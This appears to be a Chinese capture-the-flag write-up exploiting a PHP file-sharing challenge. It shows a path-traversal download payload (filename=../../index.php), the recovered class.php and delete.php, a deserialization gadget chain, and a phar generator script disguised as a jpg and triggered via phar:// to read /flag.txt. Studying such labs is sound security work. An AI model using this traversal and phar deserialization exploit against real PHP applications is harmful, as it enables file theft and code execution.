注册登录,
上传图片,可以下载文件,对文件下载进行抓包,
此处可下载任意文件,
filename=../../index.php
找到class.php
<?php
class User {
public $db;
// 触发FileList的__call()
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
// 调用File::close(),读文件,将结果保存到results
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
// 打印结果
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
// 对外部$filename赋值,供外层File::delete()使用
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function detele() {
// 可以接收并解析Phar协议流,
unlink($this->filename);
}
}
?>
以及delete.php
<?php
session_start();
include "class.php";
chdir($_SESSION['sandbox']);
// 创建一个File对象
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
// 删除触发函数
$file->detele();
}
?>
链子
利用的对象中,有两个File,一个供Phar解析,一个读文件。
关键为解决三个问题,PHAR的解析-close函数的调用-文本的输出。
删除抓包 -> File::delete() -> 解析Phar:// -> FileList::__destruct() [回显results] <- File::close() [$filename=/flag.txt] <- FileList::__call() [File::close()->results] <- User::__destruct() [$this->db=new File()]
生成Phar
<?php
class FileList {
private $files;
public function __construct() {
$this->files = array(new File());
}
}
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
class File {
public $filename="/flag.txt";
}
@unlink('test.phar');
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o = User();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
上传伪装为jpg格式的phar文件到服务器。
修改删除抓包
观察路由,当前目录即为upload目录。
得到flag